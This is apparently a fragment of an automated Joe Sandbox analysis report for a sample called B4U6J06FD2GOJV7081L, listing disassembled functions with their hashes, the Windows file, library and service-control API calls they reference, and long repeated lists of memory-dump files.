Associated: 00000003.00000002.1799892487.0000000000BBE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799974749.0000000000BBF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800053975.0000000000BC1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800132337.0000000000BD5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800209084.0000000000BDD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800261421.0000000000BDE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800341647.0000000000BE3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800381837.0000000000BE4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800419070.0000000000BEA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800495966.0000000000BEB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800548464.0000000000BED000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800583628.0000000000BF5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800618496.0000000000BF7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800653160.0000000000C00000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800691993.0000000000C03000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800726086.0000000000C0C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800760504.0000000000C0F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800796467.0000000000C10000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800827344.0000000000C18000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800856263.0000000000C26000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800901694.0000000000C28000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800989857.0000000000C75000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1801033173.0000000000C76000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1801066080.0000000000C77000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1801066080.0000000000C7D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1801121787.0000000000C8E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1801148746.0000000000C90000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9e0000_B4U6J06FD2GOJV7081L.jbxd

Similarity

API ID: CreateFile
String ID: C
API String ID: 823142352-1037565863
Opcode ID: e8fc608e5135513b71b69ad7ac778a6dc3353c48414e08bf10eafb3a864ae8b3
Instruction ID: e0d239907c9881c0b1bc6d514a045d77a27abd592d6dd2b36e1e3fbbdf8258f0
Opcode Fuzzy Hash: e8fc608e5135513b71b69ad7ac778a6dc3353c48414e08bf10eafb3a864ae8b3
Instruction Fuzzy Hash: 12213DB650910EADE700CF699950BFF37D9EBC1320F384D57E50187981D3AA0D159B69

Function 00B61936 Relevance: 3.1, APIs: 2, Instructions: 91
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 00B6194E

Part of subcall function 00B6196D: CreateFileA.KERNELBASE(?,DE57FA86,00000003,00000000,00000003), ref: 00B61A70

Memory Dump Source

Source File: 00000003.00000002.1799448728.0000000000B5B000.00000040.00000001.01000000.00000006.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000003.00000002.1799078539.00000000009E0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799110608.00000000009E2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799145624.00000000009E6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799172597.00000000009EA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799211840.00000000009F6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799346727.0000000000B48000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799397364.0000000000B4B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799448728.0000000000B65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799549247.0000000000B6D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799599211.0000000000B70000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799643180.0000000000B71000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799692589.0000000000B73000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799744289.0000000000B9A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799783502.0000000000BAC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799824231.0000000000BBC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799892487.0000000000BBE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799974749.0000000000BBF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800053975.0000000000BC1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800132337.0000000000BD5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800209084.0000000000BDD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800261421.0000000000BDE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800341647.0000000000BE3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800381837.0000000000BE4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800419070.0000000000BEA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800495966.0000000000BEB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800548464.0000000000BED000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800583628.0000000000BF5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800618496.0000000000BF7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800653160.0000000000C00000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800691993.0000000000C03000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800726086.0000000000C0C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800760504.0000000000C0F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800796467.0000000000C10000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800827344.0000000000C18000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800856263.0000000000C26000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800901694.0000000000C28000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800989857.0000000000C75000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1801033173.0000000000C76000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1801066080.0000000000C77000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1801066080.0000000000C7D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1801121787.0000000000C8E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1801148746.0000000000C90000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9e0000_B4U6J06FD2GOJV7081L.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: de18cb69084979463aa4c6e1dff66ed169d0bc1eea5a6103de45f5ebd24fb114
Instruction ID: 5d5a9d0be85f4fbb3bdbc934c180a69e61be08e91386900d7bb3e935879a54b4
Opcode Fuzzy Hash: de18cb69084979463aa4c6e1dff66ed169d0bc1eea5a6103de45f5ebd24fb114
Instruction Fuzzy Hash: 5A2177B360810AAEE700CFA99A90BFE37D9EB81320F384C5AF50187681D2654C16DB69

Function 00B61981 Relevance: 1.6, APIs: 1, Instructions: 72
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,DE57FA86,00000003,00000000,00000003), ref: 00B61A70

Memory Dump Source

Source File: 00000003.00000002.1799448728.0000000000B5B000.00000040.00000001.01000000.00000006.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000003.00000002.1799078539.00000000009E0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799110608.00000000009E2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799145624.00000000009E6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799172597.00000000009EA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799211840.00000000009F6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799346727.0000000000B48000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799397364.0000000000B4B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799448728.0000000000B65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799549247.0000000000B6D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799599211.0000000000B70000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799643180.0000000000B71000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799692589.0000000000B73000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799744289.0000000000B9A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799783502.0000000000BAC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799824231.0000000000BBC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799892487.0000000000BBE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799974749.0000000000BBF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800053975.0000000000BC1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800132337.0000000000BD5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800209084.0000000000BDD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800261421.0000000000BDE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800341647.0000000000BE3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800381837.0000000000BE4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800419070.0000000000BEA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800495966.0000000000BEB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800548464.0000000000BED000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800583628.0000000000BF5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800618496.0000000000BF7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800653160.0000000000C00000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800691993.0000000000C03000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800726086.0000000000C0C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800760504.0000000000C0F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800796467.0000000000C10000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800827344.0000000000C18000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800856263.0000000000C26000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800901694.0000000000C28000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800989857.0000000000C75000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1801033173.0000000000C76000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1801066080.0000000000C77000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1801066080.0000000000C7D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1801121787.0000000000C8E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1801148746.0000000000C90000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9e0000_B4U6J06FD2GOJV7081L.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: baa0838aac32a55edbda09c17cb308dbe4ff4ace536baf0b2caa62e27e149202
Instruction ID: ad8bdae5e87ff600cbeb42401e52df2fe5945a1b7deb704369f7e8d220df0f37
Opcode Fuzzy Hash: baa0838aac32a55edbda09c17cb308dbe4ff4ace536baf0b2caa62e27e149202
Instruction Fuzzy Hash: 62115BB65082096DF700CE559A60FFF77E8EBC1320F3C4C6AF9018B580D3A90D168B69

Function 00B61997 Relevance: 1.6, APIs: 1, Instructions: 68
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,DE57FA86,00000003,00000000,00000003), ref: 00B61A70

Memory Dump Source

Source File: 00000003.00000002.1799448728.0000000000B5B000.00000040.00000001.01000000.00000006.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000003.00000002.1799078539.00000000009E0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799110608.00000000009E2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799145624.00000000009E6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799172597.00000000009EA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799211840.00000000009F6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799346727.0000000000B48000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799397364.0000000000B4B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799448728.0000000000B65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799549247.0000000000B6D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799599211.0000000000B70000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799643180.0000000000B71000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799692589.0000000000B73000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799744289.0000000000B9A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799783502.0000000000BAC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799824231.0000000000BBC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799892487.0000000000BBE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799974749.0000000000BBF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800053975.0000000000BC1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800132337.0000000000BD5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800209084.0000000000BDD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800261421.0000000000BDE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800341647.0000000000BE3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800381837.0000000000BE4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800419070.0000000000BEA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800495966.0000000000BEB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800548464.0000000000BED000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800583628.0000000000BF5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800618496.0000000000BF7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800653160.0000000000C00000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800691993.0000000000C03000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800726086.0000000000C0C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800760504.0000000000C0F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800796467.0000000000C10000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800827344.0000000000C18000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800856263.0000000000C26000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800901694.0000000000C28000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800989857.0000000000C75000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1801033173.0000000000C76000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1801066080.0000000000C77000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1801066080.0000000000C7D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1801121787.0000000000C8E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1801148746.0000000000C90000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9e0000_B4U6J06FD2GOJV7081L.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: bc1d825effcfdec044e286754a088ca61e49a17a6c7628bd74395fd4dadaf031
Instruction ID: 7e52909490cb4388cc2eb4f71a9724cf61efbfe7e65beaab7bda3ba784b28456
Opcode Fuzzy Hash: bc1d825effcfdec044e286754a088ca61e49a17a6c7628bd74395fd4dadaf031
Instruction Fuzzy Hash: 89115BB664D2096DE700CF559960BFF37D4EB81320F3C0C5AE50187581D2660D19CB69

Function 05250D42 Relevance: 1.6, APIs: 1, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 05250DCD

Memory Dump Source

Source File: 00000003.00000002.1805134293.0000000005250000.00000040.00000800.00020000.00000000.sdmp, Offset: 05250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5250000_B4U6J06FD2GOJV7081L.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 18c1ef99df6610bee44b1ae06c08b5b1a415a9de840958a2cbf4ce183643d79d
Instruction ID: 0794fdcf73daf43fc22aeb1b4afe0f63c80828997d3badcc365deccd01cccfbb
Opcode Fuzzy Hash: 18c1ef99df6610bee44b1ae06c08b5b1a415a9de840958a2cbf4ce183643d79d
Instruction Fuzzy Hash: 4C2135B6C112199FCB10CF99D889BDEFBF4FF88320F14855AE809AB204D774A540CBA4

Function 05250D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 05250DCD

Memory Dump Source

Source File: 00000003.00000002.1805134293.0000000005250000.00000040.00000800.00020000.00000000.sdmp, Offset: 05250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5250000_B4U6J06FD2GOJV7081L.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 40ee1bfe56b4c8185cff071e4da857f8865895999884aa0d4a25c93005b6aab1
Instruction ID: 237c566feac7829c86011e2221cf3b0024772582c2a0490968cfb2fbcbf3b81a
Opcode Fuzzy Hash: 40ee1bfe56b4c8185cff071e4da857f8865895999884aa0d4a25c93005b6aab1
Instruction Fuzzy Hash: 5E2115B6C112199FDB10CF99D988BDEFBF4FF88320F14855AE809AB244D774A544CBA4

Function 00B5DADF Relevance: 1.6, APIs: 1, Instructions: 58
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00B5DADF

Memory Dump Source

Source File: 00000003.00000002.1799448728.0000000000B5B000.00000040.00000001.01000000.00000006.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000003.00000002.1799078539.00000000009E0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799110608.00000000009E2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799145624.00000000009E6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799172597.00000000009EA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799211840.00000000009F6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799346727.0000000000B48000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799397364.0000000000B4B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799448728.0000000000B65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799549247.0000000000B6D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799599211.0000000000B70000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799643180.0000000000B71000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799692589.0000000000B73000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799744289.0000000000B9A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799783502.0000000000BAC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799824231.0000000000BBC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799892487.0000000000BBE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799974749.0000000000BBF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800053975.0000000000BC1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800132337.0000000000BD5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800209084.0000000000BDD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800261421.0000000000BDE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800341647.0000000000BE3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800381837.0000000000BE4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800419070.0000000000BEA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800495966.0000000000BEB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800548464.0000000000BED000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800583628.0000000000BF5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800618496.0000000000BF7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800653160.0000000000C00000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800691993.0000000000C03000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800726086.0000000000C0C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800760504.0000000000C0F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800796467.0000000000C10000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800827344.0000000000C18000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800856263.0000000000C26000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800901694.0000000000C28000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800989857.0000000000C75000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1801033173.0000000000C76000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1801066080.0000000000C77000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1801066080.0000000000C7D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1801121787.0000000000C8E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1801148746.0000000000C90000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9e0000_B4U6J06FD2GOJV7081L.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 39c941c5c1e1caccc0fc7c0636f5370fb66df2c026576cc15bbbf3ea18926e5d
Instruction ID: 06a7417b9b8adc18aa12df4cc590bf349ba40f1f9c6abd4e261e21e88a237b8e
Opcode Fuzzy Hash: 39c941c5c1e1caccc0fc7c0636f5370fb66df2c026576cc15bbbf3ea18926e5d
Instruction Fuzzy Hash: F01142B281C7048BC344BF2AD58652AFBF8EF84710F46899ED5C086609EA748085CB93

Function 05251509 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 05251580

Memory Dump Source

Source File: 00000003.00000002.1805134293.0000000005250000.00000040.00000800.00020000.00000000.sdmp, Offset: 05250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5250000_B4U6J06FD2GOJV7081L.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: a3f22fed041145a0c23b15c15488d56bf0b8e726a903f1adb9a07ad72789b24a
Instruction ID: 4f749803754701b4068888c0b6879e1941bf406ae142057fd2aee9575cabef27
Opcode Fuzzy Hash: a3f22fed041145a0c23b15c15488d56bf0b8e726a903f1adb9a07ad72789b24a
Instruction Fuzzy Hash: 1721D3B6D00649DFDB10CF9AC584BDEBBF4AF48320F14842AE959A7250D378A644CFA5

Function 05251510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 05251580

Memory Dump Source

Source File: 00000003.00000002.1805134293.0000000005250000.00000040.00000800.00020000.00000000.sdmp, Offset: 05250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5250000_B4U6J06FD2GOJV7081L.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: 7fc2f2e23c08dbfd19caac6d4de69e274f09e37aae254e035d26f2881d0fd4a5
Instruction ID: 9c852241aab9ac7b41c3d13fd42f2856ec00207aed4a69e8f3fdac83d5ec85ae
Opcode Fuzzy Hash: 7fc2f2e23c08dbfd19caac6d4de69e274f09e37aae254e035d26f2881d0fd4a5
Instruction Fuzzy Hash: 1A11D3B59006499FDB10CF9AC584BDEFBF4EB48320F14842AE959A7250D378A644CFA5

Function 00B619C6 Relevance: 1.6, APIs: 1, Instructions: 50
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,DE57FA86,00000003,00000000,00000003), ref: 00B61A70

Memory Dump Source

Source File: 00000003.00000002.1799448728.0000000000B5B000.00000040.00000001.01000000.00000006.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000003.00000002.1799078539.00000000009E0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799110608.00000000009E2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799145624.00000000009E6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799172597.00000000009EA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799211840.00000000009F6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799346727.0000000000B48000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799397364.0000000000B4B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799448728.0000000000B65000.00000040.00000001.01000000.00000006.sdmpDownload File
